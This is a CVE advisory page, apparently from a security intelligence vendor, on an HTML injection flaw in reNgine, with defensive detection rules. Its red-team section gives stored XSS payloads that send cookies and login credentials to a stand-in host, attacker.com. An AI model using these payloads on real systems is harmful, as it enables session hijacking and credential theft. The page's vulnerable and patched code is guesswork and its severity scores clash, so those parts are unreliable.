☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-24966

CVE-2025-24966 HTML Injection in Rengine
📅 PUBLISHED: 2025-02-04 19:26 UTC 🔄 UPDATED: 2026-09-23 20:31 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.27%
👁️
0.27% probability
6.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-24966 is an HTML Injection vulnerability in reNgine, an automated reconnaissance framework for web applications. The flaw exists in the "Add Target" functionality, specifically within the Target Organization and Target Description fields, which fail to properly validate or sanitize user input. This allows an attacker to inject arbitrary HTML code that is rendered and executed in the target area. The vulnerability affects all versions up to and including 2.2.0. Exploitation can lead to compromise of application integrity, theft of sensitive information, and erosion of user trust. No official patch or workaround is currently available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

reNgine is a Python-based framework distributed via GitHub. The vulnerability resides in the application's own code, not in a third-party package. However, users should verify the integrity of their reNgine installation and monitor for any malicious modifications that could exploit this flaw.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the nature of the vulnerability, a reasonable assessment is:

  • Attack Vector (AV): Network (N) – exploitable remotely.
  • Attack Complexity (AC): Low (L) – no special conditions required.
  • Privileges Required (PR): Low (L) – attacker needs a valid account to add targets.
  • User Interaction (UI): None (N) – no user action needed beyond normal use.
  • Scope (S): Changed (C) – injected HTML can affect other components.
  • Confidentiality (C): Low (L) – potential information disclosure.
  • Integrity (I): Low (L) – HTML injection can modify content.
  • Availability (A): None (N) – no direct impact on availability.

Estimated CVSS Score: 5.4 (Medium)

Threat Level: Medium – Exploitation requires authenticated access but can lead to significant impact.

Deep Dive & Mechanics

The vulnerability is a classic HTML Injection (a subset of Cross-Site Scripting, XSS) that occurs in the "Add Target" functionality. When a user submits a new target, the target_organization and target_description fields are not sanitized before being stored and later rendered in the target list view. An attacker with a valid account can inject arbitrary HTML tags, such as <script>, <img>, or <iframe>, which will be executed in the context of other users' browsers when they view the target list.

Attack Flow:

  1. Attacker logs into reNgine.
  2. Navigates to "Add Target".
  3. Injects malicious HTML into the Organization or Description field (e.g., <img src=x onerror=alert(1)>).
  4. Submits the target.
  5. When any user (including admin) views the target list, the injected HTML executes.

Impact:

  • Session hijacking via cookie theft.
  • Phishing attacks by injecting fake login forms.
  • Defacement of the application interface.
  • Redirection to malicious sites.

Vulnerable vs. Patched Code

Vulnerable Code (reNgine <= 2.2.0): The application likely uses a template engine (e.g., Django templates) that renders user input without escaping. For example, in a Django template:

<!-- Vulnerable: no escaping -->
<p>Organization: {{ target.organization }}</p>
<p>Description: {{ target.description }}</p>

Patched Code (Hypothetical): The fix would involve escaping HTML output using Django's escape filter or autoescape:

<!-- Patched: with escaping -->
<p>Organization: {{ target.organization|escape }}</p>
<p>Description: {{ target.description|escape }}</p>

Or using a sanitization library like bleach to allow only safe tags.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A running instance of reNgine (version <= 2.2.0).
  • Valid user credentials with permission to add targets.

Exploitation Steps:

  1. Log in to reNgine.
  2. Go to "Add Target".
  3. In the "Target Organization" field, enter:
    <img src=x onerror="fetch('http://attacker.com/steal?cookie='+document.cookie)">
    
  4. Fill in other required fields and submit.
  5. When any user views the target list, the injected payload executes, sending their cookies to the attacker's server.

Alternative Payloads:

  • Phishing form:
    <form action="http://attacker.com/login" method="POST">
      <input type="text" name="username" placeholder="Username">
      <input type="password" name="password" placeholder="Password">
      <input type="submit" value="Login">
    </form>
    
  • Defacement:
    <h1 style="color:red;">Hacked by Attacker</h1>
    

Blue Team

Detection:

  • Monitor for unusual HTML tags in target organization/description fields.
  • Look for outbound connections to unknown domains from the reNgine server.
  • Check web server logs for requests containing <script>, <img onerror>, etc.

Mitigation:

  • Implement input validation to reject HTML tags.
  • Apply output encoding in templates.
  • Use Content Security Policy (CSP) headers to restrict script execution.
  • Restrict user permissions to only trusted individuals.

Indicators of Compromise (IOCs)

  • Network: Outbound HTTP requests to attacker-controlled domains from the reNgine server.
  • Logs: Entries in reNgine's database containing HTML tags in target_organization or target_description fields.
  • File System: Modified templates or static files if the attacker uploaded malicious content.
  • User Agent: Unusual user agents in web server logs associated with exploitation attempts.

Detection Engineering

YARA Rule

rule reNgine_HTML_Injection_CVE_2025_24966 {
    meta:
        description = "Detects HTML injection payloads in reNgine target fields"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-24966"
    strings:
        $html_tag = /<[a-zA-Z\/!][^>]*>/
        $script_tag = /<script[^>]*>/
        $event_handler = /on\w+\s*=\s*['"]?[^'"]*['"]?/
    condition:
        any of ($html_tag, $script_tag, $event_handler)
}

Sigma Rule

title: reNgine HTML Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2025-24966 by injecting HTML into target fields
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: rengine
detection:
    selection:
        field: ["target_organization", "target_description"]
        value|contains|all:
            - "<"
            - ">"
    condition: selection
falsepositives:
    - Legitimate use of HTML in descriptions (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"reNgine HTML Injection Attempt CVE-2025-24966"; flow:to_server,established; content:"POST"; http_method; content:"/add/target"; http_uri; pcre:"/(<[^>]+>)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the "Add Target" functionality for untrusted users until a patch is available.
  2. Implement a Web Application Firewall (WAF) rule to block HTML tags in input fields.
  3. Apply output encoding in all templates that render user-supplied data.

Long-term Fix:

  • Upgrade to a patched version once released by the vendor.
  • Conduct a code review to identify and fix all instances of unescaped output.
  • Implement a Content Security Policy (CSP) to mitigate XSS impact.

Workarounds:

  • Use a reverse proxy to sanitize input before it reaches reNgine.
  • Manually edit the source code to add |escape filters in Django templates.

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-24966/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.